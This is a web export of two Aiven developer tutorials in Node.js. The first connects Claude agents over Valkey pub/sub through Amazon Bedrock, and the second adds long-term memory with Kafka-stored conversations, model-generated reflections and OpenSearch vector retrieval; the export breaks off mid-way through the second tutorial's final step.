Valkey\n\nOur agents’ ability to listen and communicate will depend on a pub/sub system using Aiven for Valkey.\nFor this project, we’ll use the [iovalkey library](https://github.com/valkey-io/iovalkey), a fork of ioredis, which is widely used in the industry.\n\nTo add iovalkey as a dependency, run:\n\n```\nnpm install iovalkey\n```\n\nThis will update your `package.json` and install the library.\n\nNow, let’s create a client and subscribe it to a channel. To keep Valkey-related functionality separate from the Agent methods, we’ll create a new file called `common.js` where we’ll handle communication with Valkey, as well as AWS in the steps below.\n\nAdd the following subscribe method to `common.js`:\n\n```js\nimport Valkey from 'iovalkey'\n\n\nexport const subscribe = (channel) =\u003e {\n const valkeyClient = new Valkey(process.env.VALKEY_SERVICE_URI);\n valkeyClient.subscribe(channel, async (err, count) =\u003e {\n if(err) {\n console.error(`ERROR: failed to subscribe to channel ${channel}. error: ${err.message}`);\n } else {\n console.log(`NOTIFICATION: successfully subscribed to channel ${channel}`);\n }\n })\n return valkeyClient;\n}\n```\n\nIn this subscribe method, we define a Valkey client and subscribe it to the specified channel. For convenience, we return the `valkeyClient` so that we can use the events it provides within the agent.\n\n\nOne more thing that we need to do to communicate with the Valkey service is to define VALKEY_SERVICE_URI in the process environment variables. To securely manage the service credentials and prevent accidental commits of sensitive information, we’ll use [the dotenv library](https://github.com/motdotla/dotenv). Install it with\n\n```\nnpm install dotenv\n```\n\nAdd a `.env` file to your project (and don’t forget to add `.env` to your `.gitignore` if you’re planning to commit your code to GitHub). Populate your `.env` file with the Valkey service URI, which you can find on the Aiven service page you created earlier:\n\n```\nVALKEY_SERVICE_URI=YOUR-AIVEN-FOR-VALKEY-SERVICE-URI\n```\n\nTo load ``VALKEY_SERVICE_URI`` into ``process.env``, import ``dotenv`` to `common.js` and run the ``config`` method:\n```js\nimport dotenv from 'dotenv'\ndotenv.config()\n```\n\nNow that we have ``subscribe`` method, we can implement the `startListeningToOthers` method in the Agent class, where we subscribe the agent to its own channel. This method subscribes the agent to its own channel, essentially giving the agent \"ears\" to listen and react to messages on that channel:\n\n```js\nasync startListeningToOthers() {\n const subscriber = subscribe(this.agentName);\n subscriber.on(\"message\", async (channel, message) =\u003e {\n const parsedMessage = JSON.parse(message);\n await this.replyToMessage(parsedMessage.agent, parsedMessage.message)\n })\n}\n```\nMessages sent to the channel can be in any format we choose, but for simplicity, we’ll use JSON, with each message containing two properties: the name of the agent who sent the message, and the message body itself.\n\nNext, we’ll implement the `replyToMessage` method. Here’s what this method will do:\n1. Check if the conversation has ended; if not, proceed.\n2. Create a prompt to ask the model for the next phrase in the conversation (we’ll define this in the next section).\n3. Call the large language model to generate the next conversation phrase(we’ll define this in the next section).\n4. Store the information in the agent’s short-term memory.\n5. Send the newly generated message to the other agent’s channel.\n\n\n```js\nasync replyToMessage(recipient, message) {\n if (message \u0026\u0026 message.includes(\"END\")) {\n return;\n }\n\n const prompt = this.getPrompt(message);\n console.log(`### ${this.agentName.toUpperCase()} PROMPT: ###`)\n console.log(\"prompt: \" + this.agentName, prompt)\n const response = await invokeModel(prompt);\n console.log(`=== ${this.agentName.toUpperCase()} SAYS: ===`)\n console.log(`${response}`);\n if (message) {\n this.shortMemory.push(`${recipient} said: ${message}`)\n }\n\n this.shortMemory.push(`You replied: ${response}`);\n sendToChannel(recipient, JSON.stringify({agent: this.agentName, message: response}));\n}\n```\n\nWe also need to add `sendToChannel` method to ``common.js``. This method will create a new Valkey client that publishes a message to a channel. Keep in mind that a single client cannot both read and publish messages; it can only perform one type of operation:\n```js\nexport const sendToChannel = (channel, message) =\u003e {\n const valkeyClient = new Valkey(process.env.VALKEY_SERVICE_URI);\n valkeyClient.publish(channel, message);\n}\n```\n\n\nSince we’re already working with `replyToMessage`, let’s go ahead and add the `startConversation` method, which initiates a conversation by calling `replyToMessage` with just the recipient’s name, without any initial message:\n\n```js\nasync startConversation(recipient) {\n await this.replyToMessage(recipient);\n}\n```\n\n## Step 5. Call Amazon Bedrock Claude model\nWe’re almost done! The last piece we need is the functionality to interact with the Claude model.\n\n### Prompts\n\nWe’ll need a couple of prompts to communicate with the model and specify what we want it to do. Below are some example prompts, but feel free to modify them to suit the story you want to create.\n\nAdd this code to a file called ``prompts.js``:\n\n```js\nexport const getPromptStart = (agentName) =\u003e `You're an inhabitant of a planet Hipola, a very small and cosy planet. Your name is ${agentName}.`;\n\nexport const instructions = `Always follow these instructions:\n\n- If you just met, introduce yourself and learn their name;\n- if it's ongoing conversation, don't say hello again and don't introduce yourself again, just continue the conversation, reply or ask question, be natural;\n- answer the questions of the other inhabitant;\n- be consise, a couple of sentences is enough\n- if you want to finish the conversation and when both of you said goodbye to each other, respond \"[END]\"\n`;\n\n\nexport const getStartConversationPrompt = (agentName) =\u003e `${getPromptStart(agentName)}. Start the conversation. ${instructions}`;\n\nexport const getContinueConversationPrompt = (agentName, memoryString, message) =\u003e {\n const shortMemory = !!memoryString ? `This is the conversation so far: ${memoryString}` : '';\n return ` ${getPromptStart(agentName)}\nYou're meeting another inhabitant. ${shortMemory}\nReply to this message from another inhabitant from the planet Hipola: \"${message}\". If you already had several messages exchanged, politely say goodbye and end conversation. Be concise. Remember, you're ${agentName}.\n${instructions}`};\n```\n\nTo avoid an endless loop of conversation, we instruct the model to respond with \"[END]\" once the agent is finished talking.\n\nWe’ve separated the prompt used to start the conversation from the one used to continue it. Now, let’s add a `getPrompt` method to the Agent class that creates the appropriate prompt:\n\n```js\n\ngetPrompt(message) {\n return !!message ? getContinueConversationPrompt(this.agentName, this.shortMemory.join('\\n - '), message) : getStartConversationPrompt(this.agentName);\n}\n```\n\nNow, let’s integrate Amazon Bedrock into our project. First, install the `@aws-sdk/client-bedrock-runtime library`:\n\n```\nnpm install @aws-sdk/client-bedrock-runtime\n```\n\nFor AWS credentials, you can either add them to your `.env` file or [store them securely elsewhere](https://docs.aws.amazon.com/keyspaces/latest/devguide/access.credentials.html) to be picked up by the AWS SDK.\n\nOnce that’s set up, create a Bedrock client in common.js and add the `invokeModel` method:\n\n```js\n\nimport {BedrockRuntimeClient, InvokeModelCommand} from \"@aws-sdk/client-bedrock-runtime\";\n\nconst bedrockClient = new BedrockRuntimeClient({\n region: 'us-east-1',\n credentials: {\n secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,\n accessKeyId: process.env.AWS_ACCESS_KEY_ID\n }\n})\n\nexport const invokeModel = async (prompt) =\u003e {\n const command = new InvokeModelCommand({\n \"modelId\": \"anthropic.claude-3-haiku-20240307-v1:0\",\n \"contentType\": \"application/json\",\n \"accept\": \"application/json\",\n \"body\": JSON.stringify({\n \"anthropic_version\": \"bedrock-2023-05-31\",\n \"max_tokens\": 1000,\n \"messages\": [\n {\n \"role\": \"user\",\n \"content\": [\n {\n \"type\": \"text\",\n \"text\": prompt\n }\n ]\n }\n ]\n })\n })\n const response = await bedrockClient.send(command);\n const decodedResponseBody = JSON.parse(new TextDecoder().decode(response.body));\n return decodedResponseBody.content[0].text;\n}\n```\n\n## Step 6. Run\nFinally, it’s time to run the code:\n\n```\nnode run\n```\nYou should see Nick and Judy exchanging messages:\n\n![demo_high-res.gif](https://cdn.sanity.io/images/sczeoy4w/production/4995a5a0251775f55affa726914239bc1da7e2cf-720x405.gif)\n\n## Conclusion and next steps\nIn this tutorial, we set up a communication channel between two agents using Amazon Bedrock and Valkey pub/sub. Currently, our agents only have short-term memory. As a next step, consider adding long-term memory to help the agents remember each other and recall past conversations.\n\nIf you're curious to learn more things you can do with Aiven and AI look at:\n- [Building a real-time AI pipeline for data analysis with Apache Flink® and OpenAI](https://aiven.io/developer/building-a-real-time-pipeline-for-data-analysis-with-gpt-models)\n- [Applying RAG pattern to navigate your knowledge store](https://aiven.io/developer/rag-bedrock-opensearch)\n- [When text meets image: a guide to OpenSearch® for multimodal search](https://aiven.io/developer/opensearch-multimodal-search)\n- [Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js](https://aiven.io/developer/movie-recommender-clickhouse-huggingface-nextjs)\n- [TensorFlow, PostgreSQL®, PGVector \u0026 Next.js: building a movie recommender](https://aiven.io/developer/building-a-movie-recommender)","feature":{"_type":"featuredItem","active":false,"endDate":"2024-09-02T03:26:41.850Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2024-08-26T03:25:37.481Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Real-time AI Agent communication with Valkey and an LLM","asset":{"_ref":"image-ad3337fc4cac01884968f6c00b727af867cadde1-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/real-time-ai-agent-communication-with-valkey-and-an-llm"},"subtitle":"Integrating Valkey® pub/sub with Amazon Bedrock for AI agent communication","tags":[{"_key":"29a8bf262972","_ref":"d066802f-72f8-49bf-93a7-3c4196a99892","_type":"tag"},{"_key":"a65cf7ac8a14","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"},{"_key":"553e9c317b7a","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"}],"title":"Real-time AI Agent communication with Valkey™ and an LLM"} {"__i18n_lang":"en","_createdAt":"2024-08-26T03:53:11Z","_id":"1296767a-a503-433e-9d5e-576401e4e99d","_rev":"aWoy619Wq5MYH4feSY70NP","_type":"devArticle","_updatedAt":"2024-09-03T09:36:17Z","body":"In this step-by-step tutorial, we'll explore how to build long-term memory into agent-based systems. Essentially, we'll create an agent system that can remember and learn from every interaction. [Previously](https://aiven.io/developer/real-time-ai-agent-communication-with-valkey-and-an-llm), we established a communication process using Valkey™ for pub/sub messaging to keep agents independent. Our initial architecture looked like this:\n\n![Initial Architecture](https://cdn.sanity.io/images/sczeoy4w/production/f3df5cb0f713dfaf779b1fa305b8a46777def143-1230x552.png)\n\nIn this tutorial, we'll expand on that by introducing several new components:\n\n- **Persistent Short-Term Memory**: we'll use Apache Kafka to store short-term memory.\n- **Reflection Mode**: at the end of each conversation, fresh data will be processed, vectorized, and stored in OpenSearch® for future use as long-term memory.\n- **Memory Integration**: we'll combine short-term and long-term memories using the Retrieval-Augmented Generation (RAG) pattern for future interactions.\n\nThis setup is particularly useful for scenarios like automating customer support, managing IoT devices, or any situation where systems need to operate independently while maintaining a shared state in real-time.\n\nBy the end of this tutorial, we'll achieve the following target architecture:\n\n![Final Architecture](https://cdn.sanity.io/images/sczeoy4w/production/299e6d184aaa8d1fbb124974ef29f21b8cd9cd8d-2276x1336.png)\n\nWhile it might seem complex, don't worry— we'll break it down module by module.\n\nThe complete code is available in [this GitHub repository](https://github.com/Aiven-Labs/agents-with-memories-rag-valkey-opensearch-bedrock). However, you can follow the steps below to build the project from scratch.\n\n\n## Prerequisites\n\nThis tutorial builds on concepts from [Integrating Valkey Pub/Sub with Amazon Bedrock for AI Agent Communication](https://aiven.io/developer/real-time-ai-agent-communication-with-valkey-and-an-llm), which you can also find in [this GitHub repository](https://github.com/Aiven-Labs/agent-communication-valkey-bedrock).\n\nTo follow along, you'll need:\n\n- AWS access with sufficient permissions to use Amazon Bedrock foundation models.\n- NodeJS and npm installed on your machine, or alternatively, you can use [GitHub Codespaces](https://github.com/features/codespaces) or a similar environment with pre-installed libraries.\n\n## Step 1. Set up services with Terraform\nWe'll use Terraform to set up Aiven services, which will allow us to automate the deployment of several services, making it easier to create, deploy, and manage the necessary credentials.\n\nIf you don't have Terraform installed, follow the instructions on [the Terraform documentation page](https://developer.hashicorp.com/terraform/install).\n\nThe Terraform files for this project are located in the `./terraform` folder.\n\n### Get Aiven token\nWe'll need an Aiven token to run the Terraform script and access your Aiven account.\n\nTo get the Aiven token:\n\n1. In the Aiven console, go to the **User Information** menu and select **Tokens**:\n ![Aiven Tokens](https://cdn.sanity.io/images/sczeoy4w/production/c63fa1e7077a385cbc521bb287e454c9e59e9ace-3024x913.png)\n2. Click **Generate token**, add a description, and generate the token. A popup with the token will appear—copy the token value.\n3. Rename or create a new file named `./terraform/terraform.tfvars`.\n4. Add your Aiven token to `aiven_api_token` and the project name to `project_name`.\n5. Navigate to the `terraform` folder.\n6. Set `export PROVIDER_AIVEN_ENABLE_BETA=true` in your terminal (Terraform Valkey resource is still in beta).\n7. Run `terraform init`.\n8. Run `terraform plan`.\n9. Run `terraform apply`.\n\nTerraform will create four resources:\n\n- Aiven for Apache Kafka\n- Apache Kafka Topic\n- Aiven for OpenSearch\n- Aiven for caching (Valkey)\n\nOnce deployment is complete, Terraform will generate a `.env` file with the necessary credentials and a `certificates` folder with Apache Kafka certificates.\n\n### Add dependency to dotenv\n\nTo manage environment variables and credentials, we'll use `dotenv`. Install it with:\n```\nnpm install dotenv\n```\n\n## Step 2. Prepare Amazon Bedrock\n\nTo work with agents and their memories, we'll need two models:\n\n- **LLM**: We'll use Amazon Bedrock Claude 3 Haiku.\n- **Vectorization Model**: To translate text into vectors, we'll use Amazon Titan Text Embeddings.\n\nMake sure we have enabled access to these models by following steps from [AWS documentation for model access](https://docs.aws.amazon.com/bedrock/latest/userguide/model-access.html)\n\n## Step 3. Store current conversation in Apache Kafka\nWe'll store the ongoing conversation stream in an Apache Kafka topic. This approach has several benefits—it allows replaying the conversation later, which is useful for processing short-term memories and potentially for recovering from failures if we decide to implement such functionality in the future.\n\n![arch_2.png](https://cdn.sanity.io/images/sczeoy4w/production/ec4ed6956aa9b7278fd1629d62d8fe1adc912517-1756x606.png)\n\nTo interact with the Apache Kafka service from a NodeJS project, we'll use `node-rdkafka`. Install it with:\n\nTo send data to an Apache Kafka topic, we first need to set up a producer. Create a file named `producer.js` and add this code for a simple Kafka producer:\n\n```js\nimport Kafka from 'node-rdkafka';\nimport dotenv from 'dotenv';\ndotenv.config();\n\n// Create a producer\nexport const producer = new Kafka.Producer({\n 'metadata.broker.list': process.env[\"KAFKA_SERVICE_URI\"],\n 'security.protocol': 'ssl',\n 'ssl.key.location': process.env[\"ssl.key.location\"],\n 'ssl.certificate.location': process.env[\"ssl.certificate.location\"],\n 'ssl.ca.location': process.env[\"ssl.ca.location\"],\n 'dr_cb': true\n});\n\nproducer.on('event.log', function (log) {\n console.log(log);\n});\n\n// Logging all errors\nproducer.on('event.error', function (err) {\n console.error(err);\n});\n\nproducer.on('connection.failure', function (err) {\n console.error(err);\n});\n\nproducer.on('delivery-report', function (err, report) {\n console.log('Message was delivered' + JSON.stringify(report));\n});\n\nproducer.on('disconnected', function (arg) {\n console.log('producer disconnected. ' + JSON.stringify(arg));\n});\n\nproducer.connect({}, (err) =\u003e {\n if (err) {\n console.error(err);\n }\n});\n```\n\nNext, we integrate this producer into the `Agent` class by adding a new function, `storeInKafka`:\n\n```js\nstoreInKafka(topic, message) {\n producer.produce(\n topic,\n null,\n Buffer.from(message),\n null,\n Date.now()\n );\n producer.flush();\n}\n```\n\nWith this new function, every time an agent receives a message, it will send it to Apache Kafka. Update the `startToListenToOthers` function to invoke `storeInKafka`:\n\n```js\nstartToListenToOthers() {\n const subscriber = subscribe(this.agentName);\n subscriber.on('message', async (channel, message) =\u003e {\n const parsedMessage = JSON.parse(message);\n\n this.storeInKafka(this.conversationTopic, message);\n await delay(1000);\n await this.replyToMessage(parsedMessage.message, parsedMessage.agent);\n });\n}\n```\n\nSince agents need to share a common topic for ongoing conversations, it makes sense to pass the topic name when creating agents. Update the `Agent` constructor to include a `conversationTopic`:\n\n```js\nconstructor(agentName, anotherAgent, starts, conversationTopic) {\n this.conversationTopic = conversationTopic;\n....\n```\n\nTo ensure each conversation has a unique topic, we'll use the timestamp of the conversation's start. This approach guarantees that all independent conversations have distinct topic names. Modify `run.js` to calculate the topic name and provide it to the agents.\n\n```js\nconst kafkaTopic = Date.now().toString();\nconst nick = new Agent('Nick', 'Judy', false, kafkaTopic);\nnick.start();\n\nconst judy = new Agent('Judy', 'Nick', true, kafkaTopic);\njudy.start();\n```\nIn the next step we generate reflections based on the data that is stored in each unique conversation topic.\n\n## Step 4. Generate reflections\n\n![arch_3.png](https://cdn.sanity.io/images/sczeoy4w/production/0e40a3f622b861d6987a4b2212f7dc45ae415765-1836x1358.png)\n\nTo generate conversation summaries (reflections) for each agent we'll do these steps:\n\n1. Create a consumer to read complete data from the latest conversation topic.\n2. Add a new prompt that instructs the model to summarize the conversation from the agent's perspective.\n3. Call the model with the conversation body.\n4. Store the model-generated summary in a different Kafka topic.\n\n\nTo consume all records from a given topic, calculate the latest offset. Create a new file `consumer.js` and add the code to export the `consumeAll` function:\n\n```js\nimport Kafka from 'node-rdkafka';\nimport dotenv from 'dotenv';\ndotenv.config();\n\nexport const consumeAll = async (topic, groupId) =\u003e {\n return new Promise((resolve, reject) =\u003e {\n console.log('Initializing Kafka Consumer...');\n const consumer = new Kafka.KafkaConsumer({\n 'group.id': groupId,\n 'metadata.broker.list': process.env[\"KAFKA_SERVICE_URI\"],\n 'security.protocol': 'ssl',\n 'ssl.key.location': process.env[\"ssl.key.location\"],\n 'ssl.certificate.location': process.env[\"ssl.certificate.location\"],\n 'ssl.ca.location': process.env[\"ssl.ca.location\"],\n 'enable.auto.commit': false\n }, {\n 'auto.offset.reset': 'earliest'\n });\n\n const messages = [];\n let latestOffset;\n\n consumer.on('ready', () =\u003e {\n console.log('Consumer is ready, querying watermark offsets...');\n consumer.queryWatermarkOffsets(topic, 0, 1000, (err, offsets) =\u003e {\n if (err) {\n console.error('Error querying watermark offsets:', err);\n return reject(err);\n }\n\n latestOffset = offsets.highOffset;\n console.log(`Latest offset for topic ${topic} is ${latestOffset}`);\n\n consumer.subscribe([topic]);\n console.log(`Subscribed to topic ${topic}, starting consumption...`);\n consumer.consume();\n });\n });\n\n consumer.on('data', (data) =\u003e {\n console.log('Received data:', data);\n const messageOffset = data.offset;\n\n console.log(`Message offset: ${messageOffset}, Latest offset: ${latestOffset}`);\n messages.push(data.value.toString());\n console.log('Message added to the list.', data.value.toString());\n if (messageOffset === latestOffset - 1) {\n console.log('Reached the latest offset, disconnecting...');\n consumer.disconnect();\n }\n });\n\n consumer.on('disconnected', () =\u003e {\n console.log('Consumer disconnected');\n resolve(messages);\n });\n\n consumer.on('event.error', (err) =\u003e {\n console.error('Error event:', err);\n reject(err);\n });\n\n consumer.on('event.log', (log) =\u003e {\n console.log('Log event:', log);\n });\n\n consumer.on('connection.failure', (err) =\u003e {\n console.error('Connection failure:', err);\n });\n\n console.log('Connecting to Kafka...');\n consumer.connect();\n });\n};\n```\n\nUpdate `prompt.js` with a new prompt for generating a conversation summary:\n\n```js\nexport const getConversationSummaryPrompt = (agentName, content) =\u003e `You're an inhabitant of a planet Hipola, a very small and cosy planet. Your name is ${agentName}. you met another citizen and had this conversation: ${content}. Reflect on this conversation and summarize in one most important thought that is worth remembering about the person you met. Output only the thought. Remember, you're ${agentName}.`;\n```\n\nIn the `Agent` class, add a `reflect` method to read all messages from the conversation topic, request a summary from the model, and store the summary in a new topic. Each agent will have its own topic for reflections:\n\n```js\nasync reflect() {\n const messages = await consumeAll(this.conversationTopic, `${this.conversationTopic}-${this.agentName}`);\n const summary = await this.getConversationSummary(messages.join(\"; \"));\n this.storeInKafka(`${this.agentName}-reflections`, summary);\n}\n\nasync getConversationSummary(content) {\n const prompt = getConversationSummaryPrompt(this.agentName, content);\n return await invokeModel(prompt);\n}\n```\n\nFinally, we'll connect everything using an additional Valkey channel that triggers the conversation reflection once a conversation ends:\n\n```js\nasync triggerReflection(recipient) {\n await sendToChannel(`${recipient}-internalize`, \"Reflect on the conversation\");\n await sendToChannel(`${this.agentName}-internalize`, \"Reflect on the conversation\");\n}\n\nasync replyToMessage(message, recipient) {\n //agent indicated that no longer wants to continue conversation\n if (message \u0026\u0026 message.includes(\"END\")) {\n return await this.triggerReflection(recipient);\n }\n \n const prompt = await this.getPrompt(message);\n console.log(`### ${this.agentName.toUpperCase()} PROMPT: ###`)\n console.log(\"prompt: \" + this.agentName, prompt)\n const response = await invokeModel(prompt);\n console.log(`=== ${this.agentName.toUpperCase()} SAYS: ===`)\n console.log(`${response}`);\n if (message) {\n this.shortMemory.push(`${recipient} said: ${message}`)\n }\n\n this.shortMemory.push(`You replied: ${response}`);\n sendToChannel(recipient, JSON.stringify({agent: this.agentName, message: response}));\n}\n\nwaitToConversationEnd() {\n const subscriber = subscribe( `${this.agentName}-internalize`);\n subscriber.on('message', async (channel) =\u003e {\n if (channel !== `${this.agentName}-internalize`) return;\n\n await this.reflect();\n });\n}\n\nasync start() {\n // listen what another agent tells you\n this.startToListenToOthers();\n // get ready to process the conversation\n\n this.waitToConversationEnd();\n\n if (this.starts) {\n await this.replyToMessage(null, this.anotherAgent);\n }\n}\n\n```\n\n## Step 5. Vectorise reflections and store in OpenSearch\n\nNow that reflections are sent to Apache Kafka whenever agents converse, we need to add these reflections as long-term memories for each agent. We'll use the Retrieval Augmented Generation (RAG) pattern and the LangChain framework for this purpose:\n\n- Vectorize long-term memories and store them in OpenSearch.\n- Combine short-term memory with reflections by searching for relevant memories using vector search.\n\n\n\n![arch_4.png](https://cdn.sanity.io/images/sczeoy4w/production/fa3a84669f2e5410ad3656e27d1979ad8e9ceee4-2222x1324.png)\n\nIn order to install LangChain library that can work with OpenSearch and Amazon Bedrock run:\n\n```\nnpm install @langchain/aws @langchain/community @langchain/core langchain\n```\n\nWe also need to install OpenSearch NodeJS client:\n\n```\nnpm install @opensearch-project/opensearch\n```\n\nOnce you have the necessary libraries, create a new file named `vectorize.js`. This file will handle data consumption from the reflection topic and send it to the OpenSearch index:\n\n```js\nimport Kafka from 'node-rdkafka';\nimport { Client } from \"@opensearch-project/opensearch\";\nimport { Document } from \"langchain/document\";\nimport { BedrockEmbeddings } from \"@langchain/aws\";\nimport { OpenSearchVectorStore } from \"@langchain/community/vectorstores/opensearch\";\nimport dotenv from 'dotenv';\n\ndotenv.config();\n\nconst client = new Client({\n nodes: [process.env.OPENSEARCH_SERVICE_URI],\n});\n\nconst consumeAndIndex = (topicName) =\u003e {\n // Kafka consumer setup\n const consumer = new Kafka.KafkaConsumer({\n 'group.id': 'kafka-group',\n 'metadata.broker.list': process.env[\"KAFKA_SERVICE_URI\"],\n 'security.protocol': 'ssl',\n 'ssl.key.location': process.env[\"ssl.key.location\"],\n 'ssl.certificate.location': process.env[\"ssl.certificate.location\"],\n 'ssl.ca.location': process.env[\"ssl.ca.location\"],\n }, {});\n\n consumer.connect();\n\n consumer.on('ready', () =\u003e {\n console.log('Consumer ready');\n consumer.subscribe([topicName]);\n consumer.consume();\n }).on('data', async (data) =\u003e {\n const messageValue = data.value.toString();\n\n // Process the message and create a Document\n const doc = new Document({\n metadata: { source: 'kafka' },\n pageContent: messageValue,\n });\n\n // Create embeddings and send to OpenSearch\n try {\n const embeddings = new BedrockEmbeddings({\n region: 'us-east-1',\n credentials: {\n secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,\n accessKeyId: process.env.AWS_ACCESS_KEY_ID\n },\n model: \"amazon.titan-embed-text-v1\",\n });\n\n await OpenSearchVectorStore.fromDocuments([doc], embeddings, {\n client,\n indexName: topicName.toLowerCase(),\n });\n\n console.log('Document indexed successfully:', doc);\n } catch (error) {\n console.error('Error indexing document:', error);\n }\n });\n\n consumer.on('event.error', (err) =\u003e {\n console.error('Error from consumer:', err);\n });\n};\n\nexport default consumeAndIndex;\n\n```\n\nAlthough the `consumeAndIndex` method could be run as a separate process (since it’s independent of the agent), we'll keep all calls within `run.js` for simplicity:\n\n\n```js\nimport Agent from './src/agent.js';\nimport consumeAndIndex from \"./src/vectorize.js\";\n\nconst kafkaTopic = Date.now().toString();\nconst nick = new Agent('Nick', 'Judy', false, kafkaTopic);\nconsumeAndIndex(\"Nick-reflections\");\nnick.start();\n\nconst judy = new Agent('Judy', 'Nick', true, kafkaTopic);\njudy.start();\nconsumeAndIndex(\"Judy-reflections\");\n```\n\n## Step 6. Integrate short-term and long-term Memory\n\n\nTo enhance the agent's responses, we'll integrate short-term memory with the long-term memories stored in OpenSearch. For this we'll do the following:\n\n1. **Add `LongMemoryService`:** this service will provide a method to retrieve relevant long-term memory based on the current conversation.\n2. **Update Prompts:** modify the prompts used for agent communication to include older memories.\n\n![arch_5.png](https://cdn.sanity.io/images/sczeoy4w/production/421aa54742d288864f9ee7a7a36de4439b803b98-2182x1314.png)\n\nCreate a file called `longTermMemory.js` that utilizes LangChain libraries to interface with both the Claude model from Bedrock and the OpenSearch vector store:\n\n```js\nimport { BedrockChat } from \"@langchain/community/chat_models/bedrock\";\nimport dotenv from 'dotenv';\nimport { Client } from \"@opensearch-project/opensearch\";\nimport { OpenSearchVectorStore } from \"@langchain/community/vectorstores/opensearch\";\nimport { BedrockEmbeddings } from \"@langchain/aws\";\nimport { VectorDBQAChain } from \"langchain/chains\";\n\ndotenv.config();\n\nexport class LongMemoryService {\n constructor(indexName) {\n this.indexName = indexName;\n\n this.model = new BedrockChat({\n model: \"anthropic.claude-3-haiku-20240307-v1:0\",\n region: \"us-east-1\",\n credentials: {\n secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,\n accessKeyId: process.env.AWS_ACCESS_KEY_ID\n },\n });\n\n this.client = new Client({\n nodes: [process.env.OPENSEARCH_SERVICE_URI],\n });\n\n this.vectorStore = new OpenSearchVectorStore(new BedrockEmbeddings({\n region: 'us-east-1',\n credentials: {\n secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,\n accessKeyId: process.env.AWS_ACCESS_KEY_ID\n },\n model: \"amazon.titan-embed-text-v1\"\n }), {\n client: this.client,\n indexName: indexName,\n });\n\n this.chain = VectorDBQAChain.fromLLM(this.model, this.vectorStore, {\n k: 1,\n returnSourceDocuments: true,\n });\n }\n\n async indexExists() {\n try {\n const response = await this.client.indices.exists({ index: this.indexName });\n return response.body;\n } catch (error) {\n console.error('Error checking if index exists:', error);\n return false;\n }\n }\n\n async getLongMemory(query) {\n const indexExists = await this.indexExists();\n if (!indexExists) {\n return '';\n }\n\n const response = await this.chain.call({ query });\n return response.text;\n }\n}\n\n```\nNext, update the `Agent` class to incorporate the long-memory service and the method to query it:\n\n```js\n constructor(agentName, anotherAgent, starts,conversationTopic) {\n console.log({ conversationTopic })\n this.agentName = agentName;\n this.anotherAgent = anotherAgent;\n this.shortMemory = [];\n this.starts = starts;\n this.conversationTopic = conversationTopic;\n\n this.longMemoryService = new LongMemoryService(`${this.agentName.toLowerCase()}-reflections`);\n}\nasync queryLongTermMemory(message) {\n const longmemory = await this.longMemoryService.getLongMemory(`\\n\\nHuman: ${message} \\n\\nAssistant:`);\n console.log(\"******* \" + this.agentName.toUpperCase() + \" LONG MEMORY: \" + longmemory);\n console.log(\"************************************************************************************\");\n return longmemory;\n}\n```\n\nRevise the prompts in `prompts.js` to factor in long-term memories:\n\n```js\nexport const getPromptStart = (agentName) =\u003e `You're an inhabitant of a planet Hipola, a very small and cosy planet. Your name is ${agentName}.`;\n\nexport const instructions = `Always follow these instructions:\n\n- if it is the first time you meet this inhabitant, introduce yourself and learn their name;\n- if you met this person before or already know something about them - do not introduce yourself, but relate to the previous conversation\n- if it's ongoing conversation, don't introduce yourself, just continue the conversation, reply or ask question, be natural;\n- after a couple of exchanged messages politely say goodbye\n- answer the questions of the other inhabitant;\n- try to finish the topic and when you're done with the conversation for today respond with \"[END]\";\n`;\n\nexport const getMemoryPrompt = (agentName, anotherAgent) =\u003e `The context are memories of ${agentName}. Are there any memories or thoughts about ${anotherAgent}? If yes, respond with \"You remember meeting ${anotherAgent}, what you remember is that .... [continue based on the additional context]\". If there is no info about ${anotherAgent} in the context respond with \"You haven't met ${anotherAgent} before\". Don't provide any other judgement or additional information.`;\n\nexport const getContinuationMemoryPrompt = (agentName, anotherAgent, message) =\u003e `The context are memories of ${agentName}. Are there any memories or thoughts about ${anotherAgent} relevant to the message \"${message}\"? If yes return \"Something that I remember from past conversations with ${anotherAgent} is that .... [continue with a concise list of notes]\". Otherwise, if there is no relevant context return \"nothing relevant that I remember\" and be very very very short and don't provide any other judgement or additional information!`;\n\nexport const getStartConversationPrompt = (agentName, memoriesOfOtherAgent) =\u003e `${getPromptStart(agentName)} ${memoriesOfOtherAgent}.\\n\\n${instructions}`;\n\nexport const getContinueConversationPrompt = (agentName, memoryString, longTermMemory, message) =\u003e `\n${getPromptStart(agentName)}\nYou're meeting another inhabitant. This is the conversation so far:\\n${memoryString}\\n\\n\\n\\n\n\nThis is what you remember about them from previous interactions that is relevant to their phrase:\\n${longTermMemory} Reply to this message from another inhabitant from the planet Hipola: \"${message}\" and ask a relevant question to continue the conversation. If you already had several messages exchanged, politely say goodbye and end conversation. Be concise. Remember, you're ${agentName}.\n\n${instructions}`;\n\n```\nFinally, adjust the `getPrompt` method in the `Agent` class to integrate long-term memories into the prompt:\n```js\n async getPrompt(message) {\n // start of the conversation:\n if (!message) {\n const memoriesOfOtherAgent = await this.queryLongTermMemory(getMemoryPrompt(this.agentName, this.anotherAgent));\n return getStartConversationPrompt(this.agentName, memoriesOfOtherAgent);\n }\n\n // continuation of the conversation:\n let memoryString = this.shortMemory.join('\\n');\n let longTermMemory = await this.queryLongTermMemory(getContinuationMemoryPrompt(this.agentName, this.anotherAgent, message));\n return getContinueConversationPrompt(this.agentName, memoryString, longTermMemory, message);\n}\n```\n\n## Step 7. Run\nIt's time to run our agents!\n\n```\nnode run\n```\n![animated_flow.gif](https://cdn.sanity.io/images/sczeoy4w/production/ae1bcbfffd44e248968a6a4add514340e7f855cc-720x405.gif)\n\nObserve that, at the end of a conversation, the system will enter reflection mode. You can also monitor the data stored in Apache Kafka topics:\n\n- For ongoing conversations:\n\n![Ongoing Conversations](https://cdn.sanity.io/images/sczeoy4w/production/1ff9520fa5c6de43e3fcd81db5ef09508ab1ff9c-2020x1460.png)\n\n- For conversation summaries of each agent:\n\n![Conversation 